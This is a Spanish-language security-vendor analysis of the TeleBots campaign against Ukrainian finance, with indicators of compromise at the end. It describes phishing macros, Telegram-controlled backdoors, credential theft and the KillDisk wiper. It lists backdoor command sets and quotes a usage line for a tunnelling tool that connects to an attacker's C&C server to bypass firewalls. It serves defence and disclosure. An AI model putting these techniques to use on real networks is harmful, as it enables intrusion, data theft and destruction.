En la segunda mitad de 2016, los investigadores de ESET identificaron un conjunto de herramientas maliciosas únicas que se utilizaron en ciberataques dirigidos contra objetivos de alto valor en el sector financiero ucraniano. Creemos que el principal objetivo de los atacantes que usaron estas herramientas es el sabotaje cibernético. En este artículo describimos los detalles de la campaña.

Nos referiremos a la banda detrás del malware como TeleBots, aunque es importante aclarar que estos atacantes, así como el conjunto de herramientas que utilizan, comparten una serie de similitudes con el grupo BlackEnergy, responsable de los ataques a la industria energética ucraniana perpetrados en diciembre de 2015 y enero de 2016. De hecho, pensamos que el grupo BlackEnergy ha evolucionado y se ha convertido en el grupo Telebots.

Vector de infección

Al igual que en las campañas atribuidas al grupo BlackEnergy, los atacantes usaron correos electrónicos de phishing dirigido con documentos adjuntos de Microsoft Excel que contienen macros maliciosas como vector de infección inicial. Esta vez, los documentos maliciosos no tienen ningún contenido de ingeniería social para hacer que las víctimas potenciales hagan clic en el botón “Enable Content” (Habilitar contenido). Parece que los atacantes dependen enteramente de la decisión de las víctimas de hacer clic o no.

Imagen 1: Ejemplo de un documento malicioso XLS utilizado en un ataque de phishing dirigido.

Imagen 1: Ejemplo de un documento malicioso XLS utilizado en un ataque de phishing dirigido.

Normalmente, los documentos maliciosos no contienen información significativa en sus metadatos, pero esta vez los metadatos del documento incluyen el apodo de la persona que modificó el archivo. Además, el apodo coincide con el de un individuo que está comunicándose activamente dentro de una comunidad de ciberdelincuentes de habla rusa. Sin embargo, también es posible que solo sea un engaño de bandera falsa o una mera coincidencia.

Imagen 2: Los metadatos revelan lo que podría ser el apodo del atacante.

Imagen 2: Los metadatos revelan lo que podría ser el apodo del atacante.

Cuando una víctima hace clic en el botón Habilitar contenido, Excel ejecuta la macro maliciosa. Nuestro análisis muestra que el código de la macro utilizada en los documentos de TeleBots coincide con el código de la macro utilizada por el grupo BlackEnergy en 2015. La Imagen 3 muestra estas similitudes.

El propósito principal de la macro es colocar un archivo binario malicioso en el sistema bajo el nombre de archivo explorer.exe y luego ejecutarlo. El binario colocado pertenece a una familia de descargadores de troyanos, cuyo objetivo principal es descargar y ejecutar otro malware. El descargador de troyanos está escrito en el lenguaje de programación Rust.

Cabe señalar que durante las primeras etapas del ataque, el grupo TeleBots hace un uso indebido de varios servidores legítimos para ocultar su actividad maliciosa en la red. Por ejemplo, el descargador de troyanos recupera datos de una URL codificada en forma rígida que apunta a un archivo de texto en el servicio putdrive.com. Putdrive es un servicio de alojamiento de archivos, que le permite a cualquiera subir archivos y compartirlos online. El archivo de texto alojado en el servicio online es el payload final, codificado con el algoritmo Base64.

El payload final es un backdoor escrito en Python, detectado como el troyano Python/TeleBot.AA. Dicho backdoor es el malware principal utilizado por estos atacantes, por eso hemos nombrado al grupo TeleBots.

Imagen 3: Similitudes entre el código de la macro maliciosa utilizada por BlackEnergy y la utilizada por TeleBots.

Imagen 3: Similitudes entre el código de la macro maliciosa utilizada por BlackEnergy y la utilizada por TeleBots.

Backdoor Python/TeleBot.AA

En enero de 2016 publicamos nuestro análisis de un ataque de phishing dirigido contra empresas de energía eléctrica ucranianas. Creemos que dicho ataque está relacionado con los infames ataques de BlackEnergy de 2015, dado que los atacantes usaron exactamente el mismo servidor de correo electrónico para enviar mensajes de phishing dirigido.

No obstante, los ataques efectuados en enero de 2016 fueron diferentes. En lugar de usar la familia de malware BlackEnergy, los atacantes usaron un backdoor de código abierto relativamente simple, escrito en el lenguaje de programación Python, llamado GCat. Primero se cifró el código Python del backdoor GCat y luego se utilizó el programa PyInstaller para convertirlo en un archivo ejecutable autosostenible.

El malware Python/TeleBot utiliza exactamente el mismo enfoque: se cifró el código del backdoor en Python y se empaquetó en un archivo ejecutable autosostenible utilizando el programa PyInstaller. Además, el código en Python fue codificado con ROT13, cifrado con AES, comprimido usando la biblioteca zlib, y finalmente codificado con Base64.

Pero lo que realmente hace a este backdoor tan interesante es la forma en que se comunica con los atacantes para recibir comandos. Python/TeleBot utiliza indebidamente la API de Telegram Bot de la aplicación Telegram Messenger para comunicarse con los atacantes. La API de Telegram Bot se basa en HTTP y, para un administrador de red dentro de una red infectada, la comunicación entre el equipo infectado y los atacantes se verá como una comunicación HTTP(S) con un servidor legítimo, para ser específicos, con api.telegram.org. Ya hemos informado a Telegram sobre este uso indebido de su plataforma de comunicación.

Imagen 4: Código del malware Python/TeleBot.AA que usa la API de Telegram Bot.

Imagen 4: Código del malware Python/TeleBot.AA que usa la API de Telegram Bot.

Cada una de las muestras descubiertas tiene un token único incrustado en su código, es decir que cada muestra utiliza su propia cuenta de Telegram Messenger. Python/TeleBot usa chats privados para comunicarse con los ciberdelincuentes. Este esquema permite controlar las computadoras infectadas a través de cualquier dispositivo que tenga instalado Telegram Messenger, incluso desde un smartphone, simplemente emitiendo comandos a través del chat.

El malware Python/TeleBot admite los siguientes comandos:

Comando Propósito
cmd|| %shellcmd% Ejecuta un comando de Shell y envía los resultados por chat
cmdd|| %shellcmd% Ejecuta un comando de Shell pero no envía los resultados por chat
getphoto|| %path% Carga la imagen de la computadora infectada al chat
getdoc|| %path% Carga cualquier tipo de archivo de hasta 50 MB de tamaño al chat
forcecheckin||  %random% Recopila la versión de Windows, la plataforma (x64 o x86) y los privilegios actuales
time|| %seconds% Cambia el intervalo entre la ejecución de los comandos
ss|| Toma una captura de pantalla (no implementado)

Además, el malware guarda automáticamente todos los archivos entrantes del atacante en una carpeta propia. De esta manera, los atacantes pueden impulsar herramientas maliciosas adicionales al equipo infectado.

Durante la investigación, encontramos una cuenta de Telegram que pertenecía a uno de los atacantes.

Imagen 5: Perfil de uno de los atacantes en Telegram Messenger.

Imagen 5: Perfil de uno de los atacantes en Telegram Messenger.

Debe tenerse en cuenta que la API Telegram Bot no fue el único protocolo legítimo que utilizaron estos atacantes. Hemos visto que al menos una muestra de este backdoor utiliza un buzón de correo de outlook.com como servidor de C&C.

Herramientas maliciosas para robar contraseñas

Después de haber infectado con éxito la red, los atacantes usan diversas herramientas maliciosas para recopilar contraseñas, lo que les permite moverse lateralmente dentro de la LAN infectada.

Una cadena que contiene una ruta al archivo PDB de símbolos de depuración sugiere que los atacantes usan la herramienta que ellos denominaron CredRaptor. Dicha herramienta recopila contraseñas guardadas de varios navegadores como Google Chrome, Internet Explorer, Mozilla Firefox y Opera.

Imagen 6: La ruta al archivo PDB revela el nombre del ladrón de contraseñas.

Imagen 6: La ruta al archivo PDB revela el nombre del ladrón de contraseñas.

Los atacantes están utilizando una herramienta llamada plainpwd con el fin de volcar en memoria las credenciales de Windows. Esta herramienta es una versión ligeramente modificada del proyecto de código abierto mimikatz.

Además de plainpwd y CredRaptor, el kit de herramientas incluye un keylogger. El keylogger utiliza una técnica estándar para capturar las pulsaciones del teclado, se trata específicamente de la función SetWindowsHookEx.

Para extraer también las contraseñas en el tráfico de red, los atacantes utilizan la versión de consola de la herramienta Intercepter-NG. Como requiere que estén instalados los controladores WinPcap, los atacantes crearon una herramienta personalizada para instalarlos en silencio.

Imagen 7: Herramienta para extraer contraseñas Intercepter-NG.

Imagen 7: Herramienta para extraer contraseñas Intercepter-NG.

El uso combinado de todas estas herramientas les permite a los atacantes tener un punto de apoyo en la red infectada, con el objetivo de lograr tomar el control total tras conseguir los privilegios de administrador del dominio.

Herramienta de consulta LDAP

Otro descubrimiento interesante fue la herramienta que se utilizó durante los ataques para realizar consultas a Active Directory mediante LDAP. Esta herramienta es capaz de volcar información detallada sobre los equipos y los nombres de usuario listados en Active Directory, y está adaptada para el dominio de la víctima específica.

Imagen 8: Código desensamblado de la herramienta personalizada para hacer consultas por LDAP.

Imagen 8: Código desensamblado de la herramienta personalizada para hacer consultas por LDAP.

Backdoor adicional

Investigaciones subsiguientes revelaron que los atacantes habían desplegado backdoors adicionales para recuperar el acceso a la red infectada, en caso de que alguien descubriera y quitara su backdoor principal Python/TeleBot. Este backdoor adicional está escrito en VBS y algunas de las muestras que descubrimos estaban empaquetadas usando el programa script2exe.

Imagen 9: Código fuente del backdoor adicional escrito en VBS.

Imagen 9: Código fuente del backdoor adicional escrito en VBS.

Son varios los ejemplos de este backdoor en VBS, pero todos tienen la misma funcionalidad principal. El backdoor envía el nombre de equipo y la dirección MAC del equipo que lo ejecuta a su servidor de C&C usando HTTP. La variable timeout define el tiempo en minutos que transcurre entre cada llamada al servidor. El servidor también puede impulsar comandos adicionales para que se ejecuten. A continuación se muestra la lista de comandos admitidos:

Comando Propósito
!cmd Ejecuta el comando de Shell y envía los resultados al servidor
!cmdd Ejecuta el comando de Shell pero no envía los resultados al servidor
!dump Decodifica los datos de Base64 y los guarda en la carpeta %TEMP%
!timeout Define un nuevo tiempo de espera entre las llamadas al servidor
!bye Cierra
!kill Cierra y se elimina
!up Carga un archivo desde el equipo agente al servidor de C&C

BCS-server

Los atacantes también usaron una herramienta maliciosa que denominaron BCS-server. Esta herramienta les permite abrir un túnel en una red interna y luego utilizarlo para enviar y recibir datos entre el servidor de C&C y los equipos aún no infectados de la red. La idea principal de esta herramienta se basa en los mismos principios que el malware XTUNNEL utilizado por el grupo Sednit.

Durante nuestras investigaciones, descubrimos que los atacantes usaron una guía para esta herramienta específica. Cabe notar que la guía está escrita en ruso.

Imagen 10: Guía para BCS-server en ruso.

Imagen 10: Guía para BCS-server en ruso.

A continuación transcribimos una traducción aproximada de la guía en ruso:

Parámetros
-saddr – dirección del servidor BCS-server
-hport – puerto de un host, que ya configuramos en el servidor, así es como evadimos el firewall
Ejemplos:
phost_win.exe –saddr=10.10.10.10 –hport=80
Versiones de depuración:
phost_cnv.exe – versión de consola
phost_win_log.exe – versión que guarda el registro en un archivo

Por lo tanto, los atacantes especifican un servidor de C&C externo en la línea de comandos y la herramienta se conecta a este servidor mediante HTTP. Los atacantes usan este servidor remoto como proxy: la herramienta redirige la conexión que se hace a este servidor a la red interna y cada respuesta que la herramienta reciba de los equipos de la red interna se envía al servidor de C&C. De esta forma, los atacantes pueden comunicarse con los servidores internos que normalmente no son accesibles desde Internet.

El tráfico de comunicación entre la herramienta BCS-server y el servidor de C&C está codificado con Base64 y encapsulado en etiquetas HTML.

Imagen 11: Comunicación inicial entre la herramienta BCS-server y el servidor de C&C.

Imagen 11: Comunicación inicial entre la herramienta BCS-server y el servidor de C&C.

KillDisk

KillDisk es un componente destructivo utilizado por estos atacantes en la etapa final de sus ataques. Las versiones anteriores de este componente se usaron en ataques dirigidos a empresas mediáticas en noviembre de 2015 y a empresas de suministro de energía eléctrica en Ucrania en diciembre de 2015.

KillDisk está diseñado para ejecutarse con privilegios elevados; esta vez se registra como un servicio bajo el nombre Plug-And-Play Support. Como en la fase final los atacantes probablemente ya han recopilado las credenciales de los administradores de la red, pueden usar Microsoft PsExec para ejecutar KillDisk con los privilegios más altos posibles en servidores y estaciones de trabajo.

Los atacantes pueden especificar la fecha de activación de KillDisk mediante líneas de comandos. Sin embargo, una de las muestras tenía un tiempo de activación predefinido establecido a las 9:30 AM del día 6 de diciembre de 2016.

Aunque hubo mejoras en el código, la base de KillDisk no ha cambiado tanto: elimina archivos importantes del sistema y hace que el equipo no se pueda arrancar. Además sobrescribe archivos cuyas extensiones de archivo coinciden con las predefinidas por los autores del malware. En esta versión de KillDisk, las extensiones son:

  • .kdbx .bak .back .dr .bkf .cfg .fdb .mdb .accdb .gdb .wdb .csv .sdf .myd .dbf .sql .edb .mdf .ib .db3 .db4 .accdc .mdbx .sl3 .sqlite3 .nsn .dbc .dbx .sdb .ibz .sqlite .pyc .dwg .3ds .ai .conf .my .ost .pst .mkv .mp3 .wav .oda .sh .py .ps .ps1 .php .aspx .asp .rb .js .git .mdf .pdf .djvu .doc .docx .xls .xlsx .jar .ppt .pptx .rtf .vsd .vsdx .jpeg .jpg .png .tiff .msi .zip .rar .7z .tar .gz .eml .mail .ml  .ova .vmdk .vhd .vmem .vdi .vhdx .vmx .ovf .vmc .vmfx .vmxf .hdd .vbox .vcb .vmsd .vfd .pvi .hdd .bin .avhd .vsv .iso .nrg .disk .hdd .pmf .vmdk .xvd

El malware KillDisk es capaz de crear archivos nuevos y pequeños para reemplazar los eliminados, usando el mismo nombre de archivo. Estos nuevos archivos contienen una de estas dos cadenas: mrR0b07 o fS0cie7y, en lugar del contenido original. Ésta no es la única referencia al programa de TV Mr. Robot. Además, esta variante específica de KillDisk muestra la siguiente imagen:

Imagen 12: Imagen que muestra el componente KillDisk.

Imagen 12: Imagen que muestra el componente KillDisk.

Curiosamente, el malware KillDisk no almacena esta imagen en ninguna parte: en cambio, tiene un código que dibuja la imagen en tiempo real utilizando el GDI de Windows. Se nota que, solamente para crear el código que dibuja esta imagen, los atacantes invirtieron mucho esfuerzo.

Conclusión

Los ciberdelincuentes responsables de estos ataques dirigidos demuestran tener la intención de llevar a cabo ataques de sabotaje cibernético. Para poder montar tales ataques, inventan constantemente nuevos tipos de malware y técnicas, como usar la API de Telegram Bot en lugar de un servidor de C&C más convencional.

Un agradecimiento especial a David Gabris por su ayuda con el análisis.

Indicadores de sistemas comprometidos

Los indicadores de sistemas comprometidos de Telebots también están disponibles en el repositorio de ESET en Github.

Nombres de detección de ESET

Troyano VBA/TrojanDropper.Agent.SD

Troyano Win32/TrojanDownloader.Agent.CWY

Troyano Python/TeleBot.AA

Troyano Python/Agent.Q

Troyano Python/Agent.AE

Troyano Python/Agent.AD

Troyano VBS/Agent.AQ

Troyano VBS/Agent.AO

Troyano VBS/Agent.AP

Troyano Win32/HackTool.NetHacker.N

Troyano Win32/HackTool.NetHacker.O

Troyano Win32/PSW.Agent.OCO

Aplicación Win64/Riskware.Mimikatz.H

Aplicación Win32/RiskWare.Mimikatz.I

Troyano Win32/PSW.Delf.OQU

Troyano Win32/PSW.Agent.OCP

Troyano Win64/Spy.KeyLogger.G

Troyano Win32/KillDisk.NBH

Troyano Win32/KillDisk.NBI

 

Servidores de C&C

93.190.137.212

95.141.37.3

80.233.134.147

 

Servidores legítimos utilizados indebidamente por los autores del malware

srv70.putdrive.com (IP: 188.165.14.185)

api.telegram.org (IP: 149.154.167.200, 149.154.167.197, 149.154.167.198, 149.154.167.199)

smtp-mail.outlook.com (IP: 65.55.176.126)

 

SHA-1 de documentos XLS con la macro maliciosa

7FC462F1734C09D8D70C6779A4F1A3E6E2A9CC9F

C361A06E51D2E2CD560F43D4CC9DABE765536179

 

SHA-1 de Win32/TrojanDownloader.Agent.CWY

F1BF54186C2C64CD104755F247867238C8472504

SHA-1 del backdoor Python/TeleBot.AA:

16C206D9CFD4C82D6652AFB1EEBB589A927B041B

1DC1660677A41B6622B795A1EB5AA5E5118D8F18

26DA35564D04BB308D57F645F353D1DE1FB76677

30D2DA7CAF740BAAA8A1300EE48220B3043A327D

385F26D29B46FF55C5F4D6BBFD3DA12EB5C33ED7

4D5023F9F9D0BA7A7328A8EE341DBBCA244F72C5

57DAD9CDA501BC8F1D0496EF010146D9A1D3734F

68377A993E5A85EB39ADED400755A22EB7273CA0

77D7EA627F645219CF6B8454459BAEF1E5192467

7B87AD4A25E80000FF1011B51F03E48E8EA6C23D

7C822F0FDB5EC14DD335CBE0238448C14015F495

86ABBF8A4CF9828381DDE9FD09E55446E7533E78

9512A8280214674E6B16B07BE281BB9F0255004B

B2E9D964C304FC91DCAF39FF44E3C38132C94655

FE4C1C6B3D8FDC9E562C57849E8094393075BC93

 

SHA-1 del backdoor VBS

F00F632749418B2B75CA9ECE73A02C485621C3B4

06E1F816CBAF45BD6EE55F74F0261A674E805F86

35D71DE3E665CF9D6A685AE02C3876B7D56B1687

F22CEA7BC080E712E85549848D35E7D5908D9B49

C473CCB92581A803C1F1540BE2193BC8B9599BFE

 

SHA-1 del servidor BCS-server

4B692E2597683354E106DFB9B90677C9311972A1

BF3CB98DC668E455188EBB4C311BD19CD9F46667

 

SHA-1 de Mimikatz modificado

B0BA3405BB2B0FA5BA34B57C2CC7E5C184D86991

AD2D3D00C7573733B70D9780AE3B89EEB8C62C76

D8614BC1D428EBABCCBFAE76A81037FF908A8F79

 

SHA-1 de la herramienta de consulta LDAP

81F73C76FBF4AB3487D5E6E8629E83C0568DE713

SHA-1 del ladrón de contraseñas CredRaptor:

FFFC20567DA4656059860ED06C53FD4E5AD664C2

58A45EF055B287BAD7B81033E17446EE6B682E2D

 

SHA-1 del troyano Win64/Spy.KeyLogger.G

7582DE9E93E2F35F9A63B59317EBA48846EEA4C7

SHA-1 de Intercepter-NG y del programa de instalación silencioso WinPCAP:

64CB897ACC37E12E4F49C4DA4DFAD606B3976225

A0B9A35675153F4933C3E55418B6566E1A5DBF8A

 

SHA-1 de Win32/KillDisk

71A2B3F48828E4552637FA9753F0324B7146F3AF

8EB8527562DDA552FC6B8827C0EBF50968848F1A